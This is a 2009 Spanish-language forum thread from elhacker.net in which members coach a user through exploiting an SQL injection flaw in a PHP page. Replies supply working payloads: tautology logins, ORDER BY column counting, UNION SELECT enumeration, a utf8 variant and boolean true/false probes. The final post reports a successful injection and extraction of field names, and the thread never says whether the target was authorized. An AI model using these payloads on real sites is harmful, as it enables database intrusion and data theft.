Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: baZZ en 29 Mayo 2009, 03:42 am



Título: Una duda de SQL injection
Publicado por: baZZ en 29 Mayo 2009, 03:42 am
Buenas pues mi pregunta es, ¿se puede hacer una inyeccion sql a una variable a la que se le pasa mysql_real_escape_string()? ¿Ejemplos? Gracias


Título: Re: Una duda de SQL injection
Publicado por: HardieVon en 4 Junio 2009, 08:52 am
claro que si

$consulta = "SELECT * FROM usuarios WHERE id=$_GET['id'] ORDER BY 7";

?id=-1 UNION 1,2,3,4,5,6,7 FROM...

no veo que uses caracteres especiales


Título: Re: Una duda de SQL injection
Publicado por: baZZ en 15 Junio 2009, 01:29 am
tengo lo siguiente:

prueba.php?=Pedro

Entonces esto me muestra los datos del usuario Pedro.
Si hago lo siguiente:

prueba.php?='

Me muestra esto:
Execute query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Sigo investigando y si hago esto:
prueba.php?=x' or 'x' = 'x

Y efectivamente me muestra el primer usuario que coge de la tabla.
Digamos que conozco mas o menos los nombres de las tablas y campos de la BD, ¿puedo explotarlo más?


Título: Re: Una duda de SQL injection
Publicado por: Darioxhcx en 15 Junio 2009, 02:13 am
union select ?
order by ?

me confundi
(?


Título: Re: Una duda de SQL injection
Publicado por: WHK en 15 Junio 2009, 03:00 am
prueba.php?=Pedro' order by 999 --
Si no resulta es porque procesa carácteres codificados por utf-8:
prueba.php?=Pedro' USING utf8) order by 999 --

Si te funciona después pruebas con order by 10, si te da error es porque es mas de 10 y menos de 999, cuando da error es porque el número debe ser superior (ese número te indica la cantidad de columnas de la tabla).
Cuando order by 15 te de error y el 16 no te de error entonces haces un union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 --
No es necesario que uses números coorelativos, es solo para poder visualizar que tabla se imprime en la página y poder hacer devolver datos desde otras tablas.


Título: Re: Una duda de SQL injection
Publicado por: OzX en 15 Junio 2009, 04:15 am
Hi Bro
Prueba esto

prueba.php?=Pedro'+and+1=0+--+
prueba.php?=Pedro'+and+1=1+--+

Te muestra un Resultado Verdadero o Falso?
Osea cuando haces
prueba.php?=Pedro'+and+1=1+--+
Te muestra lo Mismo que si haces.
prueba.php?=Pedro
?
Es Probable que Sean Las Magic Quotes Del Php.
Saludos
Oz¡


Título: Re: Una duda de SQL injection
Publicado por: WHK en 15 Junio 2009, 06:44 am
Hi Bro
Prueba esto

prueba.php?=Pedro'+and+1=0+--+
prueba.php?=Pedro'+and+1=1+--+

Te muestra un Resultado Verdadero o Falso?
Osea cuando haces
prueba.php?=Pedro'+and+1=1+--+
Te muestra lo Mismo que si haces.
prueba.php?=Pedro
?
Es Probable que Sean Las Magic Quotes Del Php.
Saludos
Oz¡

Citar
prueba.php?='

Me muestra esto:
Execute query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Sigo investigando y si hago esto:
prueba.php?=x' or 'x' = 'x

Y efectivamente me muestra el primer usuario que coge de la tabla.
Digamos que conozco mas o menos los nombres de las tablas y campos de la BD, ¿puedo explotarlo más?

Si tuviera magic quotes activado entonces la comilla hubiera sido parte de la query y no le hubiera dado error de sintaxis ya que debería haber debuelto que el valor era nulo, además dice que
Citar
Sigo investigando y si hago esto:
prueba.php?=x' or 'x' = 'x
Y efectivamente me muestra el primer usuario que coge de la tabla.

Significa que si pudo inyectar código, solo que ahora necesita saber cuantas columnas contiene la tabla para poder hacer la ubnion y lanzar las demás sentencias.

Saludos.


Título: Re: Una duda de SQL injection
Publicado por: baZZ en 16 Junio 2009, 00:10 am
Ya pude inyectar, conseguir el numero de campos e incluso algunos nombres de campos lo cual me dio bastante info. Gracias a todos